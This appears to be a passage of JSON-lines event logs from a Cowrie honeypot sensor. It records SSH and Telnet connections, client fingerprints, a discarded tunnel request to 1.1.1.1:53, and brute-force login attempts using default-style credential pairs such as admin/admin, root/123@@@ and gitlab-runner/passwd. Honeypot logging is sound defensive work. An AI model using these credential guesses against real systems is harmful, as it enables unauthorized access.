{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.104524Z","src_ip":"91.92.42.227","session":"a1c322c6d572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15582,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a6ae74be73","protocol":"ssh","message":"New connection: 87.251.64.176:15582 (10.17.0.5:22) [session: 17a6ae74be73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.369426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.373180Z","src_ip":"87.251.64.176","session":"17a6ae74be73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.467902Z","src_ip":"87.251.64.176","session":"17a6ae74be73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.755199Z","src_ip":"87.251.64.176","session":"17a6ae74be73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.856948Z","session":"17a6ae74be73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.953319Z","src_ip":"87.251.64.176","session":"17a6ae74be73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:58.049893Z","src_ip":"87.251.64.176","session":"17a6ae74be73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:58.320395Z","src_ip":"91.92.42.227","session":"a1c322c6d572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:59.669048Z","src_ip":"91.92.42.227","session":"a1c322c6d572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"6acf975eef8b","protocol":"telnet","message":"New connection: 172.81.62.90:46552 (159.203.135.109:23) [session: 6acf975eef8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:00.940731Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52536,"dst_ip":"10.17.0.5","dst_port":22,"session":"452aefcfe289","protocol":"ssh","message":"New connection: 45.156.87.147:52536 (10.17.0.5:22) [session: 452aefcfe289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:01.549550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:01.561841Z","src_ip":"45.156.87.147","session":"452aefcfe289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:01.645526Z","src_ip":"45.156.87.147","session":"452aefcfe289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:02.095055Z","src_ip":"45.156.87.147","session":"452aefcfe289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:03.182078Z","src_ip":"45.156.87.147","session":"452aefcfe289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55970,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52df7a49c0d","protocol":"ssh","message":"New connection: 91.92.42.227:55970 (10.17.0.5:22) [session: b52df7a49c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:04.089495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:04.094391Z","src_ip":"91.92.42.227","session":"b52df7a49c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:04.195576Z","src_ip":"91.92.42.227","session":"b52df7a49c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":46898,"dst_ip":"10.17.0.5","dst_port":22,"session":"614666a6075b","protocol":"ssh","message":"New connection: 8.219.200.1:46898 (10.17.0.5:22) [session: 614666a6075b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:04.420078Z"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"passwd","message":"login attempt [gitlab-runner/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:04.749746Z","src_ip":"91.92.42.227","session":"b52df7a49c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":47096,"dst_ip":"10.17.0.5","dst_port":22,"session":"9195a501ea04","protocol":"ssh","message":"New connection: 8.219.200.1:47096 (10.17.0.5:22) [session: 9195a501ea04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:05.184607Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:05.863695Z","src_ip":"91.92.42.227","session":"b52df7a49c0d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:07.186755Z","src_ip":"8.219.200.1","session":"614666a6075b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:07.420848Z","src_ip":"8.219.200.1","session":"614666a6075b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52564,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e4f49aafd60","protocol":"ssh","message":"New connection: 45.156.87.147:52564 (10.17.0.5:22) [session: 9e4f49aafd60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:07.511965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:07.517405Z","src_ip":"45.156.87.147","session":"9e4f49aafd60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:07.601954Z","src_ip":"45.156.87.147","session":"9e4f49aafd60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:07.860968Z","src_ip":"45.156.87.147","session":"9e4f49aafd60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:08.950096Z","src_ip":"45.156.87.147","session":"9e4f49aafd60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49142,"dst_ip":"10.17.0.5","dst_port":22,"session":"677060b09f10","protocol":"ssh","message":"New connection: 91.92.42.227:49142 (10.17.0.5:22) [session: 677060b09f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:10.997176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:11.192984Z","src_ip":"91.92.42.227","session":"677060b09f10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:11.197651Z","src_ip":"91.92.42.227","session":"677060b09f10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:12.384058Z","src_ip":"91.92.42.227","session":"677060b09f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41484,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec37bbf73cee","protocol":"ssh","message":"New connection: 45.156.87.147:41484 (10.17.0.5:22) [session: ec37bbf73cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:13.161297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:13.165146Z","src_ip":"45.156.87.147","session":"ec37bbf73cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:13.245986Z","src_ip":"45.156.87.147","session":"ec37bbf73cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:13.501312Z","src_ip":"45.156.87.147","session":"ec37bbf73cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:13.720340Z","src_ip":"91.92.42.227","session":"677060b09f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:14.587253Z","src_ip":"45.156.87.147","session":"ec37bbf73cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51030,"dst_ip":"10.17.0.5","dst_port":22,"session":"655695a1abcb","protocol":"ssh","message":"New connection: 91.92.42.227:51030 (10.17.0.5:22) [session: 655695a1abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:17.657585Z"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:17.826797Z","src_ip":"8.219.200.1","session":"9195a501ea04","protocol":"ssh"}
